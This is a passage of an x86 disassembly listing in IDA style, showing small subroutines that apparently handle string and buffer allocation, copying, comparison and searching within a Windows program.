		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4097D0	proc near		; CODE XREF: sub_40170Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4097F0


loc_4097E1:				; CODE XREF: sub_4097D0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402072
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4097E1


loc_4097F0:				; CODE XREF: sub_4097D0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4097D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409810	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_409810	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409830	proc near		; CODE XREF: sub_402072j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409830	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409850	proc near		; CODE XREF: sub_4016D6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409882
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409866:				; CODE XREF: sub_409850+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015AA
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409866
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409882:				; CODE XREF: sub_409850+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098A0	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4098C7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_4098B6:				; CODE XREF: sub_4098A0+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015AA
		add	esi, 4
		dec	edi
		jnz	short loc_4098B6
		pop	esi
		pop	ebx


loc_4098C7:				; CODE XREF: sub_4098A0+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_4098A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098E0	proc near		; CODE XREF: sub_401CADj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_40203B
sub_4098E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_4015AAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_409910	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409940	proc near		; CODE XREF: sub_401F96j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40995D
		mov	edx, [esp+arg_8]
		push	esi


loc_409951:				; CODE XREF: sub_409940+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409951
		pop	esi

locret_40995D:				; CODE XREF: sub_409940+Aj
		retn
sub_409940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409970	proc near		; CODE XREF: sub_401CCBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409992
		mov	eax, [esp+arg_8]
		push	esi


loc_409981:				; CODE XREF: sub_409970+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409981
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409992:				; CODE XREF: sub_409970+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409970	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099D0	proc near		; CODE XREF: sub_40203Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4099DA
		xor	eax, eax


loc_4099DA:				; CODE XREF: sub_4099D0+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_4099D0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A00	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409A1B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409A1B:				; CODE XREF: sub_409A00+11j
		retn
sub_409A00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A30	proc near		; CODE XREF: sub_401979j

arg_0		= dword	ptr  4

		mov	al, byte_44718A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409A66
		push	edi
		nop
		call	near ptr 29A19D0h
		mov	edi, dword_50F8C4
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409A66:				; CODE XREF: sub_409A30+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409A30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AA0	proc near		; CODE XREF: sub_401CDAj
		mov	al, byte_44718A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409ABF
		call	near ptr 29A1D35h
		nop
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409ABF:				; CODE XREF: sub_409AA0+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409AA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401424j
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43E010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409B10:				; CODE XREF: ___:00402063j
					; ___:loc_402171j
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409B28:				; CODE XREF: ___:00409B1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B40	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_4014C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FBE
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_4020F4j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4437F4
		push	ecx
		mov	dword ptr [esi], offset	off_43E010
		call	sub_5EA1BD
		nop
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C30	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43E010
		cmp	eax, edi
		jz	short loc_409C4C
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C4C:				; CODE XREF: sub_409C30+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409C5F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C5F:				; CODE XREF: sub_409C30+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409C30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C80	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409CEA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409CAA
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409CAA:				; CODE XREF: sub_409C80+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0A9E89052h, 837783DDh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409CEA:				; CODE XREF: sub_409C80+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409C80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D20	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_409D20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409D50:				; CODE XREF: ___:00401A46j
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4437F4
		push	ecx
		nop
		call	sub_5EA1BD
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015D7
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DA0	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409E2F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409E2F:				; CODE XREF: sub_409DA0+84j
		mov	[ebx+9], ebp


loc_409E32:				; CODE XREF: sub_409DA0+Cj
					; sub_409DA0+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409DA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E70	proc near		; CODE XREF: sub_4016BDj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401A9B
		pop	esi
		retn	4
sub_409E70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EA0	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4437F4
		push	ecx
		nop
		call	sub_5EA1BD
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401A9B
		pop	esi
		add	esp, 10h
		retn	4
sub_409EA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EF0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409F07
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F07:				; CODE XREF: sub_409EF0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409F0B:				; CODE XREF: sub_409EF0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		test	cl, cl
		jz	short loc_409F2F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409F0B


loc_409F2F:				; CODE XREF: sub_409EF0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F36:				; CODE XREF: sub_409EF0+23j
					; sub_409EF0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409EF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F60	proc near		; CODE XREF: sub_401B72j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409F60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F90	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_409FA3
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_409FA3:				; CODE XREF: sub_409F90+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_409F90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4021ADj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A000	proc near		; CODE XREF: sub_401CBCj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A013
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A013:				; CODE XREF: sub_40A000+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A000	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A030	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A072
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		call	near ptr 77C3FF8Ah
		nop
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015D7


loc_40A072:				; CODE XREF: sub_40A030+13j
		add	esp, 2000h
		retn
sub_40A030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0A0	proc near		; CODE XREF: sub_401D20j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A0A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0C0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_50FAE0
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A0E4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A0E4:				; CODE XREF: sub_40A0C0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A0C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401807
		retn	4
sub_40A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A130	proc near		; CODE XREF: sub_401807j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402117
		pop	esi
		retn	8
sub_40A130	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A160	proc near		; CODE XREF: sub_4013E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402117
		retn	4
sub_40A160	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A195
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A195:				; CODE XREF: sub_40A180+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_50FAF8
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1AF
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1AF:				; CODE XREF: sub_40A180+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A203
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A203:				; CODE XREF: sub_40A1F0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A216
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A216:				; CODE XREF: sub_40A1F0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_4367FA
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A270	proc near		; CODE XREF: sub_4013D9j
		mov	eax, [ecx+11h]
		retn
sub_40A270	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A290	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A2E2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_446F60
		mov	ecx, esi
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A2E2:				; CODE XREF: sub_40A290+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401424
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_4367FA
sub_40A290	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015D7
		push	ebx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A3C0	proc near		; CODE XREF: sub_401E2Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013D9
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A3C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A400:				; CODE XREF: ___:0040193Dj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_4020F4
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A430	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
